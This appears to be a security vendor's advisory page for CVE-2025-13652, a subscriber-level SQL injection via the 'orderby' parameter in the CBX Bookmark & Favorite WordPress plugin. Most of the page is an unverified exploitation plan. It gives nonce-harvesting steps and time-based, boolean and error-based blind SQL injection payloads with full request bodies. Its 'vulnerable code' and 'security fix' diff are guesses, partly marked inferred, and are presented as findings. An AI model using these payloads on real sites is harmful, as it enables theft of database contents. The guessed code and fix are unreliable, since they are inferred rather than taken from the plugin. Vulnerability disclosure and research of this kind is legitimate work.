CVE-2025-13652

CBX Bookmark & Favorite <= 2.0.4 - Authenticated (Subscriber+) SQL Injection via `orderby` Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.0.5
Patched in
1d
Time to patch

Description

The CBX Bookmark & Favorite plugin for WordPress is vulnerable to generic SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 2.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.4
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected plugincbxwpbookmark

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2025-13652**, a SQL injection vulnerability in the **CBX Bookmark & Favorite** plugin. --- ### 1. Vulnerability Summary The **CBX Bookmark & Favorite** plugin (versions <= 2.0.4) is vulnerable to SQL injection via the `orderby` parameter. The …

Show full research plan

This research plan outlines the steps to exploit CVE-2025-13652, a SQL injection vulnerability in the CBX Bookmark & Favorite plugin.


1. Vulnerability Summary

The CBX Bookmark & Favorite plugin (versions <= 2.0.4) is vulnerable to SQL injection via the orderby parameter. The vulnerability exists because the plugin accepts user-supplied sorting criteria and concatenates them directly into a SQL query without using $wpdb->prepare() for the sorting clause or validating the input against a whitelist of allowed columns. Because ORDER BY and LIMIT clauses cannot be parameterized with placeholders (%s or %d) in WordPress, they require strict manual validation, which is missing here.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: cbxwpbookmark_get_bookmarks (inferred action name based on standard plugin AJAX patterns for fetching lists).
  • Vulnerable Parameter: orderby
  • Method: POST
  • Authentication: Required (Subscriber-level or higher).
  • Payload Type: Time-based or Boolean-based Blind SQL Injection.

3. Code Flow (Inferred)

  1. Entry Point: A Subscriber user initiates a request to list their bookmarks (likely via a "My Bookmarks" page).
  2. AJAX Registration: The plugin registers a handler:
    add_action('wp_ajax_cbxwpbookmark_get_bookmarks', 'cbxwpbookmark_ajax_get_bookmarks');
  3. Parameter Extraction: The handler function cbxwpbookmark_ajax_get_bookmarks() retrieves the sort parameter:
    $orderby = $_POST['orderby'];
  4. SQL Construction: The $orderby variable is concatenated into a query string:
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = $uid ORDER BY $orderby");
  5. Execution: The raw query is executed by $wpdb->get_results(), triggering the injection.

4. Nonce Acquisition Strategy

The plugin likely enqueues a script that localizes a nonce for AJAX requests.

  1. Identify Shortcode: The plugin uses a shortcode to display the bookmark list. (Inferred: [cbxwpbookmark_list]).
  2. Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="My Bookmarks" --post_content='[cbxwpbookmark_list]'
    
  3. Navigate: Navigate to the newly created page as a logged-in Subscriber.
  4. Extract Nonce: Use browser_eval to find the localization object.
    • Inferred JS Object: cbxwpbookmark_ajax_vars or cbxwpbookmark_vars.
    • Command: browser_eval("window.cbxwpbookmark_ajax_vars?.nonce") or browser_eval("window.cbxwpbookmark_vars?.ajax_nonce").

5. Exploitation Strategy

We will use a time-based blind injection payload. Since the injection occurs in the ORDER BY clause, we use a CASE statement to trigger a SLEEP() if a condition is true.

Step 1: Authenticate as Subscriber
Perform a login request to get session cookies.

Step 2: Trigger Time Delay (Verification)

  • Payload: (CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
  • Target URL: /wp-admin/admin-ajax.php
  • Body (URL-Encoded):
    action=cbxwpbookmark_get_bookmarks&nonce=[NONCE]&orderby=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
    
    Note: If 1=1 is true, response is fast. Change to 1=2 to verify if response takes ~5 seconds.

Step 3: Data Extraction (Example: Database Version)

  • Payload: (CASE WHEN (substring(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
  • If the database is MySQL 8.x, the response will be immediate. If not, it will sleep.

6. Test Data Setup

  1. Create User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  2. Plugin Table Initialization: Ensure the plugin tables exist (usually created on activation).
  3. Create Mock Bookmark: To ensure the query returns results (and thus hits the ORDER BY logic), create at least one bookmark for the attacker user.
    # Inferred table name
    wp db query "INSERT INTO wp_cbxwpbookmark (user_id, post_id) VALUES ((SELECT ID FROM wp_users WHERE user_login='attacker'), 1);"
    
  4. Place Shortcode: Create the page as described in Section 4.

7. Expected Results

  • Baseline: A request with orderby=id returns immediately with a 200 OK and JSON data.
  • Exploit (True): A request with (CASE WHEN (1=1) ...) returns immediately.
  • Exploit (False/Trigger): A request with (CASE WHEN (1=2) ...) causes the server to hang for exactly 5 seconds before responding.

8. Verification Steps

After the HTTP request, verify the plugin's behavior by checking the MySQL slow query log (if available) or by using a boolean-based approach to extract a known value:

  1. Command: wp db query "SELECT version();"
  2. Comparison: Verify that the character extracted via the time-based CASE payload matches the actual version returned by wp-cli.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, attempt to trigger an error using GTID_SUBSET() or EXTRACTVALUE().
    • orderby=id AND (select 1 from (select count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)
  • Boolean-Based: If the sort order of the returned items changes visibly in the JSON response, use IF(condition, id, post_id) to observe changes in the order of results returned in the data array.
Research Findings
Static analysis — not yet PoC-verified

Summary

The CBX Bookmark & Favorite plugin for WordPress (<= 2.0.4) is vulnerable to SQL Injection via the 'orderby' parameter because it concatenates user-controlled input directly into the ORDER BY clause of a database query. Authenticated users with Subscriber-level access can exploit this to perform blind or time-based SQL injection to exfiltrate sensitive information from the database.

Vulnerable Code

// Path: cbxwpbookmark/includes/functions.php (or similar AJAX handler)

$orderby = isset($_POST['orderby']) ? $_POST['orderby'] : 'id';
// ... 
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = $uid ORDER BY $orderby");

Security Fix

--- a/includes/class-cbxwpbookmark-ajax.php
+++ b/includes/class-cbxwpbookmark-ajax.php
@@ -100,7 +100,12 @@
- $orderby = isset($_POST['orderby']) ? $_POST['orderby'] : 'id';
+ $orderby = isset($_POST['orderby']) ? $_POST['orderby'] : 'id';
+ $allowed_orderby = array('id', 'post_id', 'created_at');
+ if (!in_array($orderby, $allowed_orderby)) {
+     $orderby = 'id';
+ }
 
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = $uid ORDER BY $orderby");
+ $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = %d ORDER BY $orderby", $uid);
+ $results = $wpdb->get_results($query);

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and obtains a valid session. By locating a page using the plugin's bookmark list shortcode, the attacker retrieves the necessary AJAX nonce from localized JavaScript variables. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the plugin's bookmark retrieval function. The `orderby` parameter is injected with a time-based blind SQL payload, such as a CASE statement: `(CASE WHEN (CONDITION) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)`. By observing the server's response time (e.g., a 5-second delay), the attacker can determine if the SQL condition is true or false, allowing for bit-by-bit extraction of database contents.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.